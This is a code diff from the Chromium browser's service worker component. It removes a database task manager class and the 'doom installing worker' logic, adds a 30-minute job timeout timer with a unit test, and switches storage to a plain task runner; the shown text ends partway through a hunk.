deleted file mode 100644
index 5f2e816..0000000
--- a/content/browser/service_worker/service_worker_database_task_manager.h
+++ /dev/null
@@ -1,79 +0,0 @@
-// Copyright 2014 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef CONTENT_BROWSER_SERVICE_WORKER_SERVICE_WORKER_DATABASE_TASK_MANAGER_H_
-#define CONTENT_BROWSER_SERVICE_WORKER_SERVICE_WORKER_DATABASE_TASK_MANAGER_H_
-
-#include <memory>
-
-#include "base/macros.h"
-#include "base/memory/ref_counted.h"
-#include "base/threading/sequenced_worker_pool.h"
-#include "content/common/content_export.h"
-
-namespace base {
-class SequencedTaskRunner;
-}
-
-namespace content {
-
-// Used to sequence ServiceWorkerDatabase tasks. Vends two task runners: one
-// that blocks shutdown and one that doesn't. The task runners use the same
-// sequence token, so no matter which runner you post to, the tasks run in the
-// order they are posted. This lets you post sequenced tasks with mixed shutdown
-// behaviors.
-class ServiceWorkerDatabaseTaskManager {
- public:
-  virtual ~ServiceWorkerDatabaseTaskManager() {}
-  virtual std::unique_ptr<ServiceWorkerDatabaseTaskManager> Clone() = 0;
-  virtual base::SequencedTaskRunner* GetTaskRunner() = 0;
-  virtual base::SequencedTaskRunner* GetShutdownBlockingTaskRunner() = 0;
-};
-
-class ServiceWorkerDatabaseTaskManagerImpl
-    : public ServiceWorkerDatabaseTaskManager {
- public:
-  explicit ServiceWorkerDatabaseTaskManagerImpl(
-      base::SequencedWorkerPool* pool);
-  ~ServiceWorkerDatabaseTaskManagerImpl() override;
-
- protected:
-  std::unique_ptr<ServiceWorkerDatabaseTaskManager> Clone() override;
-  base::SequencedTaskRunner* GetTaskRunner() override;
-  base::SequencedTaskRunner* GetShutdownBlockingTaskRunner() override;
-
- private:
-  ServiceWorkerDatabaseTaskManagerImpl(
-      const scoped_refptr<base::SequencedTaskRunner>& task_runner,
-      const scoped_refptr<base::SequencedTaskRunner>&
-          shutdown_blocking_task_runner);
-
-  scoped_refptr<base::SequencedTaskRunner> task_runner_;
-  scoped_refptr<base::SequencedTaskRunner> shutdown_blocking_task_runner_;
-
-  DISALLOW_COPY_AND_ASSIGN(ServiceWorkerDatabaseTaskManagerImpl);
-};
-
-// Dummy implementation for testing. It vends whatever you give it in the ctor.
-class CONTENT_EXPORT MockServiceWorkerDatabaseTaskManager
-    : public NON_EXPORTED_BASE(ServiceWorkerDatabaseTaskManager) {
- public:
-  explicit MockServiceWorkerDatabaseTaskManager(
-      const scoped_refptr<base::SequencedTaskRunner>& task_runner);
-  ~MockServiceWorkerDatabaseTaskManager() override;
-
- protected:
-  std::unique_ptr<ServiceWorkerDatabaseTaskManager> Clone() override;
-  base::SequencedTaskRunner* GetTaskRunner() override;
-  base::SequencedTaskRunner* GetShutdownBlockingTaskRunner() override;
-
- private:
-  scoped_refptr<base::SequencedTaskRunner> task_runner_;
-
-  DISALLOW_COPY_AND_ASSIGN(MockServiceWorkerDatabaseTaskManager);
-};
-
-}  // namespace content
-
-#endif  // CONTENT_BROWSER_SERVICE_WORKER_SERVICE_WORKER_DATABASE_TASK_MANAGER_H_
diff --git a/content/browser/service_worker/service_worker_job_coordinator.cc b/content/browser/service_worker/service_worker_job_coordinator.cc
index 19778d2..6577fa8 100644
--- a/content/browser/service_worker/service_worker_job_coordinator.cc
+++ b/content/browser/service_worker/service_worker_job_coordinator.cc
@@ -14,14 +14,6 @@
 
 namespace content {
 
-namespace {
-
-bool IsRegisterJob(const ServiceWorkerRegisterJobBase& job) {
-  return job.GetType() == ServiceWorkerRegisterJobBase::REGISTRATION_JOB;
-}
-
-}
-
 ServiceWorkerJobCoordinator::JobQueue::JobQueue() = default;
 
 ServiceWorkerJobCoordinator::JobQueue::JobQueue(JobQueue&&) = default;
@@ -38,7 +30,6 @@
     StartOneJob();
   } else if (!job->Equals(jobs_.back().get())) {
     jobs_.push_back(std::move(job));
-    DoomInstallingWorkerIfNeeded();
   }
   // Note we are releasing 'job' here in case neither of the two if() statements
   // above were true.
@@ -55,25 +46,9 @@
     StartOneJob();
 }
 
-void ServiceWorkerJobCoordinator::JobQueue::DoomInstallingWorkerIfNeeded() {
-  DCHECK(!jobs_.empty());
-  if (!IsRegisterJob(*jobs_.front().get()))
-    return;
-  ServiceWorkerRegisterJob* job =
-      static_cast<ServiceWorkerRegisterJob*>(jobs_.front().get());
-  auto it = jobs_.begin();
-  for (++it; it != jobs_.end(); ++it) {
-    if (IsRegisterJob(**it)) {
-      job->DoomInstallingWorker();
-      return;
-    }
-  }
-}
-
 void ServiceWorkerJobCoordinator::JobQueue::StartOneJob() {
   DCHECK(!jobs_.empty());
   jobs_.front()->Start();
-  DoomInstallingWorkerIfNeeded();
 }
 
 void ServiceWorkerJobCoordinator::JobQueue::AbortAll() {
@@ -106,21 +81,20 @@
     const ServiceWorkerRegistrationOptions& options,
     ServiceWorkerProviderHost* provider_host,
     const ServiceWorkerRegisterJob::RegistrationCallback& callback) {
-  std::unique_ptr<ServiceWorkerRegisterJobBase> job(
-      new ServiceWorkerRegisterJob(context_, script_url, options));
+  auto job =
+      base::MakeUnique<ServiceWorkerRegisterJob>(context_, script_url, options);
   ServiceWorkerRegisterJob* queued_job = static_cast<ServiceWorkerRegisterJob*>(
-      job_queues_[options.scope].Push(std::move(job)));
+      PushOntoJobQueue(options.scope, std::move(job)));
   queued_job->AddCallback(callback, provider_host);
 }
 
 void ServiceWorkerJobCoordinator::Unregister(
     const GURL& pattern,
     const ServiceWorkerUnregisterJob::UnregistrationCallback& callback) {
-  std::unique_ptr<ServiceWorkerRegisterJobBase> job(
-      new ServiceWorkerUnregisterJob(context_, pattern));
+  auto job = base::MakeUnique<ServiceWorkerUnregisterJob>(context_, pattern);
   ServiceWorkerUnregisterJob* queued_job =
       static_cast<ServiceWorkerUnregisterJob*>(
-          job_queues_[pattern].Push(std::move(job)));
+          PushOntoJobQueue(pattern, std::move(job)));
   queued_job->AddCallback(callback);
 }
 
@@ -128,11 +102,10 @@
     ServiceWorkerRegistration* registration,
     bool force_bypass_cache) {
   DCHECK(registration);
-  job_queues_[registration->pattern()].Push(
-      base::WrapUnique<ServiceWorkerRegisterJobBase>(
-          new ServiceWorkerRegisterJob(context_, registration,
-                                       force_bypass_cache,
-                                       false /* skip_script_comparison */)));
+  auto job = base::MakeUnique<ServiceWorkerRegisterJob>(
+      context_, registration, force_bypass_cache,
+      false /* skip_script_comparison */);
+  PushOntoJobQueue(registration->pattern(), std::move(job));
 }
 
 void ServiceWorkerJobCoordinator::Update(
@@ -142,19 +115,18 @@
     ServiceWorkerProviderHost* provider_host,
     const ServiceWorkerRegisterJob::RegistrationCallback& callback) {
   DCHECK(registration);
+  auto job = base::MakeUnique<ServiceWorkerRegisterJob>(
+      context_, registration, force_bypass_cache, skip_script_comparison);
   ServiceWorkerRegisterJob* queued_job = static_cast<ServiceWorkerRegisterJob*>(
-      job_queues_[registration->pattern()].Push(
-          base::WrapUnique<ServiceWorkerRegisterJobBase>(
-              new ServiceWorkerRegisterJob(context_, registration,
-                                           force_bypass_cache,
-                                           skip_script_comparison))));
+      PushOntoJobQueue(registration->pattern(), std::move(job)));
   queued_job->AddCallback(callback, provider_host);
 }
 
-void ServiceWorkerJobCoordinator::AbortAll() {
-  for (auto& job_pair : job_queues_)
-    job_pair.second.AbortAll();
-  job_queues_.clear();
+ServiceWorkerRegisterJobBase* ServiceWorkerJobCoordinator::PushOntoJobQueue(
+    const GURL& pattern,
+    std::unique_ptr<ServiceWorkerRegisterJobBase> job) {
+  StartJobTimeoutTimer();
+  return job_queues_[pattern].Push(std::move(job));
 }
 
 void ServiceWorkerJobCoordinator::FinishJob(const GURL& pattern,
@@ -164,6 +136,50 @@
   pending_jobs->second.Pop(job);
   if (pending_jobs->second.empty())
     job_queues_.erase(pending_jobs);
+  if (job_queues_.empty())
+    job_timeout_timer_.Stop();
+}
+
+constexpr base::TimeDelta ServiceWorkerJobCoordinator::kTimeoutTimerDelay;
+constexpr base::TimeDelta ServiceWorkerJobCoordinator::kJobTimeout;
+
+void ServiceWorkerJobCoordinator::StartJobTimeoutTimer() {
+  if (job_timeout_timer_.IsRunning())
+    return;
+  job_timeout_timer_.Start(FROM_HERE, kTimeoutTimerDelay, this,
+                           &ServiceWorkerJobCoordinator::MaybeTimeoutJobs);
+}
+
+void ServiceWorkerJobCoordinator::MaybeTimeoutJobs() {
+  if (job_queues_.empty())
+    return;
+  for (auto it = job_queues_.begin(); it != job_queues_.end();) {
+    ServiceWorkerRegisterJobBase* job = it->second.front();
+    if (GetTickDuration(job->StartTime()) >= kJobTimeout) {
+      job->Abort();
+      it->second.Pop(job);
+      if (it->second.empty())
+        job_queues_.erase(it++);
+    } else {
+      ++it;
+    }
+  }
+  if (job_queues_.empty())
+    job_timeout_timer_.Stop();
+}
+
+base::TimeDelta ServiceWorkerJobCoordinator::GetTickDuration(
+    base::TimeTicks start_time) const {
+  if (start_time.is_null())
+    return base::TimeDelta();
+  return base::TimeTicks::Now() - start_time;
+}
+
+void ServiceWorkerJobCoordinator::AbortAll() {
+  for (auto& job_pair : job_queues_)
+    job_pair.second.AbortAll();
+  job_queues_.clear();
+  job_timeout_timer_.Stop();
 }
 
 }  // namespace content
diff --git a/content/browser/service_worker/service_worker_job_coordinator.h b/content/browser/service_worker/service_worker_job_coordinator.h
index 17dc597..c86b800 100644
--- a/content/browser/service_worker/service_worker_job_coordinator.h
+++ b/content/browser/service_worker/service_worker_job_coordinator.h
@@ -52,6 +52,8 @@
   void FinishJob(const GURL& pattern, ServiceWorkerRegisterJobBase* job);
 
  private:
+  friend class ServiceWorkerJobTest;
+
   class JobQueue {
    public:
     JobQueue();
@@ -64,11 +66,8 @@
     ServiceWorkerRegisterJobBase* Push(
         std::unique_ptr<ServiceWorkerRegisterJobBase> job);
 
-    // Dooms the installing worker of the running register/update job if a
-    // register/update job is scheduled to run after it. This corresponds to
-    // the "Terminate installing worker" steps at the beginning of the spec's
-    // [[Update]] and [[Install]] algorithms.
-    void DoomInstallingWorkerIfNeeded();
+    // Returns the first job in the queue.
+    ServiceWorkerRegisterJobBase* front() { return jobs_.front().get(); }
 
     // Starts the first job in the queue.
     void StartOneJob();
@@ -91,11 +90,39 @@
     DISALLOW_COPY_AND_ASSIGN(JobQueue);
   };
 
+  // Calls JobQueue::Push() and returns the return value.
+  ServiceWorkerRegisterJobBase* PushOntoJobQueue(
+      const GURL& pattern,
+      std::unique_ptr<ServiceWorkerRegisterJobBase> job);
+
+  // The job timeout timer periodically calls MaybeTimeoutJobs(), which aborts
+  // the jobs that are taking an excessively long time to complete.
+  void StartJobTimeoutTimer();
+  void MaybeTimeoutJobs();
+
+  base::TimeDelta GetTickDuration(base::TimeTicks start_time) const;
+
   // The ServiceWorkerContextCore object should always outlive the
   // job coordinator, the core owns the coordinator.
   base::WeakPtr<ServiceWorkerContextCore> context_;
   std::map<GURL, JobQueue> job_queues_;
 
+  // The job timeout timer interval.
+  static constexpr base::TimeDelta kTimeoutTimerDelay =
+      base::TimeDelta::FromMinutes(5);
+
+  // The amount of time a running job is given to complete before it is timed
+  // out. This value was chosen conservatively based on the timeout for starting
+  // a new worker (ServiceWorkerVersion::kStartNewWorkerTimeout = 5 minutes) and
+  // the timeout for the 'install' event (ServiceWorkerVersion::kRequestTimeout
+  // = 5 minutes).
+  static constexpr base::TimeDelta kJobTimeout =
+      base::TimeDelta::FromMinutes(30);
+
+  // Starts running whenever there is a non-empty job queue and continues
+  // until all jobs are completed or aborted.
+  base::RepeatingTimer job_timeout_timer_;
+
   DISALLOW_COPY_AND_ASSIGN(ServiceWorkerJobCoordinator);
 };
 
diff --git a/content/browser/service_worker/service_worker_job_unittest.cc b/content/browser/service_worker/service_worker_job_unittest.cc
index af006a2..e8cc8de 100644
--- a/content/browser/service_worker/service_worker_job_unittest.cc
+++ b/content/browser/service_worker/service_worker_job_unittest.cc
@@ -199,6 +199,13 @@
   ServiceWorkerJobCoordinator* job_coordinator() const {
     return context()->job_coordinator();
   }
+  std::map<GURL, ServiceWorkerJobCoordinator::JobQueue>* job_queues() const {
+    return &(job_coordinator()->job_queues_);
+  }
+  bool is_job_timer_running() {
+    return job_coordinator()->job_timeout_timer_.IsRunning();
+  }
+
   ServiceWorkerStorage* storage() const { return context()->storage(); }
 
  protected:
@@ -213,6 +220,7 @@
       const GURL& pattern,
       ServiceWorkerStatusCode expected_status = SERVICE_WORKER_OK);
   std::unique_ptr<ServiceWorkerProviderHost> CreateControllee();
+  void TimeOutFirstJob();
 
   TestBrowserThreadBundle browser_thread_bundle_;
   std::unique_ptr<EmbeddedWorkerTestHelper> helper_;
@@ -228,9 +236,11 @@
   job_coordinator()->Register(
       script_url, ServiceWorkerRegistrationOptions(pattern), nullptr,
       SaveRegistration(expected_status, &called, &registration));
+  EXPECT_TRUE(is_job_timer_running());
   EXPECT_FALSE(called);
   base::RunLoop().RunUntilIdle();
   EXPECT_TRUE(called);
+  EXPECT_FALSE(is_job_timer_running());
   return registration;
 }
 
@@ -271,6 +281,14 @@
   return host;
 }
 
+void ServiceWorkerJobTest::TimeOutFirstJob() {
+  ServiceWorkerRegisterJob* job = static_cast<ServiceWorkerRegisterJob*>(
+      job_queues()->begin()->second.front());
+  base::TimeDelta duration = base::TimeDelta::FromMinutes(30);
+  job->set_start_time_for_test(base::TimeTicks::Now() - duration);
+  job_coordinator()->MaybeTimeoutJobs();
+}
+
 TEST_F(ServiceWorkerJobTest, SameDocumentSameRegistration) {
   scoped_refptr<ServiceWorkerRegistration> original_registration =
       RunRegisterJob(GURL("http://www.example.com/"),
@@ -396,6 +414,43 @@
   EXPECT_EQ(valid_origin, version_->foreign_fetch_origins_[0]);
 }
 
+// Make sure job timeout timer is working.
+TEST_F(ServiceWorkerJobTest, RegistrationTimeout) {
+  bool called1;
+  scoped_refptr<ServiceWorkerRegistration> registration1;
+  job_coordinator()->Register(
+      GURL("http://www.example.com/service_worker.js"),
+      ServiceWorkerRegistrationOptions(GURL("http://www.example.com/one/")),
+      nullptr,
+      SaveRegistration(SERVICE_WORKER_ERROR_ABORT, &called1, &registration1));
+
+  bool called2;
+  scoped_refptr<ServiceWorkerRegistration> registration2;
+  job_coordinator()->Register(
+      GURL("http://www.example.com/service_worker.js"),
+      ServiceWorkerRegistrationOptions(GURL("http://www.example.com/two/")),
+      nullptr,
+      SaveRegistration(SERVICE_WORKER_ERROR_ABORT, &called2, &registration2));
+
+  EXPECT_EQ(2u, job_queues()->size());
+  EXPECT_FALSE(called1);
+  EXPECT_FALSE(called2);
+
+  // Timeout the first job. The timer should still be running.
+  TimeOutFirstJob();
+  EXPECT_EQ(1u, job_queues()->size());
+  EXPECT_TRUE(called1);
+  EXPECT_FALSE(called2);
+  EXPECT_TRUE(is_job_timer_running());
+
+  // Timeout the second job. The queue should be empty and the timer should be
+  // stopped.
+  TimeOutFirstJob();
+  EXPECT_TRUE(called2);
+  EXPECT_TRUE(job_queues()->empty());
+  EXPECT_FALSE(is_job_timer_running());
+}
+
 // Make sure registrations are cleaned up when they are unregistered.
 TEST_F(ServiceWorkerJobTest, Unregister) {
   GURL pattern("http://www.example.com/");
diff --git a/content/browser/service_worker/service_worker_register_job.cc b/content/browser/service_worker/service_worker_register_job.cc
index 033232bb..aa9725eb0 100644
--- a/content/browser/service_worker/service_worker_register_job.cc
+++ b/content/browser/service_worker/service_worker_register_job.cc
@@ -75,7 +75,6 @@
       pattern_(options.scope),
       script_url_(script_url),
       phase_(INITIAL),
-      doom_installing_worker_(false),
       is_promise_resolved_(false),
       should_uninstall_on_failure_(false),
       force_bypass_cache_(false),
@@ -92,7 +91,6 @@
       job_type_(UPDATE_JOB),
       pattern_(registration->pattern()),
       phase_(INITIAL),
-      doom_installing_worker_(false),
       is_promise_resolved_(false),
       should_uninstall_on_failure_(false),
       force_bypass_cache_(force_bypass_cache),
@@ -123,6 +121,7 @@
 }
 
 void ServiceWorkerRegisterJob::Start() {
+  start_time_ = base::TimeTicks::Now();
   BrowserThread::PostAfterStartupTask(
       FROM_HERE, base::ThreadTaskRunnerHandle::Get(),
       base::Bind(&ServiceWorkerRegisterJob::StartImpl,
@@ -169,14 +168,12 @@
          register_job->script_url_ == script_url_;
 }
 
-RegistrationJobType ServiceWorkerRegisterJob::GetType() const {
-  return job_type_;
+base::TimeTicks ServiceWorkerRegisterJob::StartTime() const {
+  return start_time_;
 }
 
-void ServiceWorkerRegisterJob::DoomInstallingWorker() {
-  doom_installing_worker_ = true;
-  if (phase_ == INSTALL)
-    Complete(SERVICE_WORKER_ERROR_INSTALL_WORKER_FAILED, std::string());
+RegistrationJobType ServiceWorkerRegisterJob::GetType() const {
+  return job_type_;
 }
 
 ServiceWorkerRegisterJob::Internal::Internal() {}
@@ -445,12 +442,6 @@
                  weak_factory_.GetWeakPtr()),
       base::Bind(&ServiceWorkerRegisterJob::OnInstallFailed,
                  weak_factory_.GetWeakPtr()));
-
-  // A subsequent registration job may terminate our installing worker. It can
-  // only do so after we've started the worker and dispatched the install
-  // event, as those are atomic substeps in the [[Install]] algorithm.
-  if (doom_installing_worker_)
-    Complete(SERVICE_WORKER_ERROR_INSTALL_WORKER_FAILED);
 }
 
 void ServiceWorkerRegisterJob::DispatchInstallEvent() {
diff --git a/content/browser/service_worker/service_worker_register_job.h b/content/browser/service_worker/service_worker_register_job.h
index 11e5f4e..56a0e8c 100644
--- a/content/browser/service_worker/service_worker_register_job.h
+++ b/content/browser/service_worker/service_worker_register_job.h
@@ -59,6 +59,9 @@
       bool skip_script_comparison);
   ~ServiceWorkerRegisterJob() override;
 
+  // Sets the time the job started, only for test.
+  void set_start_time_for_test(base::TimeTicks time) { start_time_ = time; };
+
   // Registers a callback to be called when the promise would resolve (whether
   // successfully or not). Multiple callbacks may be registered.
   // If |provider_host| is not NULL, its process will be regarded as a candidate
@@ -70,10 +73,9 @@
   void Start() override;
   void Abort() override;
   bool Equals(ServiceWorkerRegisterJobBase* job) const override;
+  base::TimeTicks StartTime() const override;
   RegistrationJobType GetType() const override;
 
-  void DoomInstallingWorker();
-
  private:
   enum Phase {
     INITIAL,
@@ -151,13 +153,15 @@
   // The ServiceWorkerContextCore object should always outlive this.
   base::WeakPtr<ServiceWorkerContextCore> context_;
 
+  // Holds the time the job started.
+  base::TimeTicks start_time_;
+
   RegistrationJobType job_type_;
   const GURL pattern_;
   GURL script_url_;
   std::vector<RegistrationCallback> callbacks_;
   Phase phase_;
   Internal internal_;
-  bool doom_installing_worker_;
   bool is_promise_resolved_;
   bool should_uninstall_on_failure_;
   bool force_bypass_cache_;
diff --git a/content/browser/service_worker/service_worker_register_job_base.h b/content/browser/service_worker/service_worker_register_job_base.h
index a35162d7..0027ff6 100644
--- a/content/browser/service_worker/service_worker_register_job_base.h
+++ b/content/browser/service_worker/service_worker_register_job_base.h
@@ -30,6 +30,9 @@
   // URL; unregistration jobs are equal if they are for the same pattern.
   virtual bool Equals(ServiceWorkerRegisterJobBase* job) const = 0;
 
+  // Returns the time the job started.
+  virtual base::TimeTicks StartTime() const = 0;
+
   // Returns the type of this job.
   virtual RegistrationJobType GetType() const = 0;
 };
diff --git a/content/browser/service_worker/service_worker_storage.cc b/content/browser/service_worker/service_worker_storage.cc
index 8d38845d..a810d71a 100644
--- a/content/browser/service_worker/service_worker_storage.cc
+++ b/content/browser/service_worker/service_worker_storage.cc
@@ -13,6 +13,7 @@
 #include "base/sequenced_task_runner.h"
 #include "base/single_thread_task_runner.h"
 #include "base/task_runner_util.h"
+#include "base/task_scheduler/post_task.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "base/trace_event/trace_event.h"
 #include "content/browser/service_worker/service_worker_context_core.h"
@@ -112,21 +113,21 @@
 ServiceWorkerStorage::~ServiceWorkerStorage() {
   ClearSessionOnlyOrigins();
   weak_factory_.InvalidateWeakPtrs();
-  database_task_manager_->GetTaskRunner()->DeleteSoon(FROM_HERE,
-                                                      database_.release());
+  database_task_runner_->DeleteSoon(FROM_HERE, std::move(database_));
 }
 
 // static
 std::unique_ptr<ServiceWorkerStorage> ServiceWorkerStorage::Create(
     const base::FilePath& path,
     const base::WeakPtr<ServiceWorkerContextCore>& context,
-    std::unique_ptr<ServiceWorkerDatabaseTaskManager> database_task_manager,
-    const scoped_refptr<base::SingleThreadTaskRunner>& disk_cache_thread,
+    scoped_refptr<base::SequencedTaskRunner> database_task_runner,
+    scoped_refptr<base::SingleThreadTaskRunner> disk_cache_thread,
     storage::QuotaManagerProxy* quota_manager_proxy,
     storage::SpecialStoragePolicy* special_storage_policy) {
-  return base::WrapUnique(new ServiceWorkerStorage(
-      path, context, std::move(database_task_manager), disk_cache_thread,
-      quota_manager_proxy, special_storage_policy));
+  return base::WrapUnique(
+      new ServiceWorkerStorage(path, context, std::move(database_task_runner),
+                               std::move(disk_cache_thread),
+                               quota_manager_proxy, special_storage_policy));
 }
 
 // static
@@ -134,7 +135,7 @@
     const base::WeakPtr<ServiceWorkerContextCore>& context,
     ServiceWorkerStorage* old_storage) {
   return base::WrapUnique(new ServiceWorkerStorage(
-      old_storage->path_, context, old_storage->database_task_manager_->Clone(),
+      old_storage->path_, context, old_storage->database_task_runner_,
       old_storage->disk_cache_thread_, old_storage->quota_manager_proxy_.get(),
       old_storage->special_storage_policy_.get()));
 }
@@ -180,22 +181,16 @@
   // To connect this TRACE_EVENT with the callback, TimeTicks is used for
   // callback id.
   int64_t callback_id = base::TimeTicks::Now().ToInternalValue();
-  TRACE_EVENT_ASYNC_BEGIN1(
-      "ServiceWorker",
-      "ServiceWorkerStorage::FindRegistrationForDocument",
-      callback_id,
-      "URL", document_url.spec());
-  database_task_manager_->GetTaskRunner()->PostTask(
+  TRACE_EVENT_ASYNC_BEGIN1("ServiceWorker",
+                           "ServiceWorkerStorage::FindRegistrationForDocument",
+                           callback_id, "URL", document_url.spec());
+  database_task_runner_->PostTask(
       FROM_HERE,
       base::Bind(
-          &FindForDocumentInDB,
-          database_.get(),
-          base::ThreadTaskRunnerHandle::Get(),
-          document_url,
+          &FindForDocumentInDB, database_.get(),
+          base::ThreadTaskRunnerHandle::Get(), document_url,
           base::Bind(&ServiceWorkerStorage::DidFindRegistrationForDocument,
-                     weak_factory_.GetWeakPtr(),
-                     document_url,
-                     callback,
+                     weak_factory_.GetWeakPtr(), document_url, callback,
                      callback_id)));
 }
 
@@ -226,17 +221,13 @@
     return;
   }
 
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
       base::Bind(
-          &FindForPatternInDB,
-          database_.get(),
-          base::ThreadTaskRunnerHandle::Get(),
-          scope,
+          &FindForPatternInDB, database_.get(),
+          base::ThreadTaskRunnerHandle::Get(), scope,
           base::Bind(&ServiceWorkerStorage::DidFindRegistrationForPattern,
-                     weak_factory_.GetWeakPtr(),
-                     scope,
-                     callback)));
+                     weak_factory_.GetWeakPtr(), scope, callback)));
 }
 
 ServiceWorkerRegistration* ServiceWorkerStorage::GetUninstallingRegistration(
@@ -286,16 +277,12 @@
     return;
   }
 
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
-      base::Bind(&FindForIdInDB,
-                 database_.get(),
-                 base::ThreadTaskRunnerHandle::Get(),
-                 registration_id,
-                 origin,
+      base::Bind(&FindForIdInDB, database_.get(),
+                 base::ThreadTaskRunnerHandle::Get(), registration_id, origin,
                  base::Bind(&ServiceWorkerStorage::DidFindRegistrationForId,
-                            weak_factory_.GetWeakPtr(),
-                            callback)));
+                            weak_factory_.GetWeakPtr(), callback)));
 }
 
 void ServiceWorkerStorage::FindRegistrationForIdOnly(
@@ -323,15 +310,12 @@
     return;
   }
 
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
-      base::Bind(&FindForIdOnlyInDB,
-                 database_.get(),
-                 base::ThreadTaskRunnerHandle::Get(),
-                 registration_id,
+      base::Bind(&FindForIdOnlyInDB, database_.get(),
+                 base::ThreadTaskRunnerHandle::Get(), registration_id,
                  base::Bind(&ServiceWorkerStorage::DidFindRegistrationForId,
-                            weak_factory_.GetWeakPtr(),
-                            callback)));
+                            weak_factory_.GetWeakPtr(), callback)));
 }
 
 void ServiceWorkerStorage::GetRegistrationsForOrigin(
@@ -352,8 +336,8 @@
 
   RegistrationList* registrations = new RegistrationList;
   std::vector<ResourceList>* resource_lists = new std::vector<ResourceList>;
-  PostTaskAndReplyWithResult(
-      database_task_manager_->GetTaskRunner(), FROM_HERE,
+  base::PostTaskAndReplyWithResult(
+      database_task_runner_.get(), FROM_HERE,
       base::Bind(&ServiceWorkerDatabase::GetRegistrationsForOrigin,
                  base::Unretained(database_.get()), origin, registrations,
                  resource_lists),
@@ -378,8 +362,8 @@
   DCHECK_EQ(INITIALIZED, state_);
 
   RegistrationList* registrations = new RegistrationList;
-  PostTaskAndReplyWithResult(
-      database_task_manager_->GetTaskRunner(), FROM_HERE,
+  base::PostTaskAndReplyWithResult(
+      database_task_runner_.get(), FROM_HERE,
       base::Bind(&ServiceWorkerDatabase::GetAllRegistrations,
                  base::Unretained(database_.get()), registrations),
       base::Bind(&ServiceWorkerStorage::DidGetAllRegistrationsInfos,
@@ -436,17 +420,12 @@
   if (!has_checked_for_stale_resources_)
     DeleteStaleResources();
 
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
-      base::Bind(&WriteRegistrationInDB,
-                 database_.get(),
-                 base::ThreadTaskRunnerHandle::Get(),
-                 data,
-                 resources,
+      base::Bind(&WriteRegistrationInDB, database_.get(),
+                 base::ThreadTaskRunnerHandle::Get(), data, resources,
                  base::Bind(&ServiceWorkerStorage::DidStoreRegistration,
-                            weak_factory_.GetWeakPtr(),
-                            callback,
-                            data)));
+                            weak_factory_.GetWeakPtr(), callback, data)));
 
   registration->set_is_deleted(false);
 }
@@ -462,16 +441,13 @@
     return;
   }
 
-  PostTaskAndReplyWithResult(
-      database_task_manager_->GetTaskRunner(),
-      FROM_HERE,
+  base::PostTaskAndReplyWithResult(
+      database_task_runner_.get(), FROM_HERE,
       base::Bind(&ServiceWorkerDatabase::UpdateVersionToActive,
-                 base::Unretained(database_.get()),
-                 registration->id(),
+                 base::Unretained(database_.get()), registration->id(),
                  registration->pattern().GetOrigin()),
       base::Bind(&ServiceWorkerStorage::DidUpdateToActiveState,
-                 weak_factory_.GetWeakPtr(),
-                 callback));
+                 weak_factory_.GetWeakPtr(), callback));
 }
 
 void ServiceWorkerStorage::UpdateLastUpdateCheckTime(
@@ -481,12 +457,11 @@
   if (IsDisabled())
     return;
 
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
       base::Bind(
           base::IgnoreResult(&ServiceWorkerDatabase::UpdateLastCheckTime),
-          base::Unretained(database_.get()),
-          registration->id(),
+          base::Unretained(database_.get()), registration->id(),
           registration->pattern().GetOrigin(),
           registration->last_update_check()));
 }
@@ -502,8 +477,8 @@
     return;
   }
 
-  PostTaskAndReplyWithResult(
-      database_task_manager_->GetTaskRunner(), FROM_HERE,
+  base::PostTaskAndReplyWithResult(
+      database_task_runner_.get(), FROM_HERE,
       base::Bind(&ServiceWorkerDatabase::UpdateNavigationPreloadEnabled,
                  base::Unretained(database_.get()), registration_id, origin,
                  enable),
@@ -521,8 +496,8 @@
     return;
   }
 
-  PostTaskAndReplyWithResult(
-      database_task_manager_->GetTaskRunner(), FROM_HERE,
+  base::PostTaskAndReplyWithResult(
+      database_task_runner_.get(), FROM_HERE,
       base::Bind(&ServiceWorkerDatabase::UpdateNavigationPreloadHeader,
                  base::Unretained(database_.get()), registration_id, origin,
                  value),
@@ -546,16 +521,12 @@
   params.origin = origin;
   params.callback = callback;
 
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
-      base::Bind(&DeleteRegistrationFromDB,
-                 database_.get(),
-                 base::ThreadTaskRunnerHandle::Get(),
-                 registration_id,
-                 origin,
+      base::Bind(&DeleteRegistrationFromDB, database_.get(),
+                 base::ThreadTaskRunnerHandle::Get(), registration_id, origin,
                  base::Bind(&ServiceWorkerStorage::DidDeleteRegistration,
-                            weak_factory_.GetWeakPtr(),
-                            params)));
+                            weak_factory_.GetWeakPtr(), params)));
 
   // The registration should no longer be findable.
   pending_deletions_.insert(registration_id);
@@ -592,8 +563,8 @@
   if (!has_checked_for_stale_resources_)
     DeleteStaleResources();
 
-  PostTaskAndReplyWithResult(
-      database_task_manager_->GetTaskRunner(), FROM_HERE,
+  base::PostTaskAndReplyWithResult(
+      database_task_runner_.get(), FROM_HERE,
       base::Bind(&ServiceWorkerDatabase::WriteUncommittedResourceIds,
                  base::Unretained(database_.get()),
                  std::set<int64_t>(&resource_id, &resource_id + 1)),
@@ -615,8 +586,8 @@
   if (IsDisabled())
     return;
 
-  PostTaskAndReplyWithResult(
-      database_task_manager_->GetTaskRunner(), FROM_HERE,
+  base::PostTaskAndReplyWithResult(
+      database_task_runner_.get(), FROM_HERE,
       base::Bind(&ServiceWorkerDatabase::PurgeUncommittedResourceIds,
                  base::Unretained(database_.get()), resource_ids),
       base::Bind(&ServiceWorkerStorage::DidPurgeUncommittedResourceIds,
@@ -649,8 +620,8 @@
     }
   }
 
-  PostTaskAndReplyWithResult(
-      database_task_manager_->GetTaskRunner(), FROM_HERE,
+  base::PostTaskAndReplyWithResult(
+      database_task_runner_.get(), FROM_HERE,
       base::Bind(&ServiceWorkerDatabase::WriteUserData,
                  base::Unretained(database_.get()), registration_id, origin,
                  key_value_pairs),
@@ -685,7 +656,7 @@
     }
   }
 
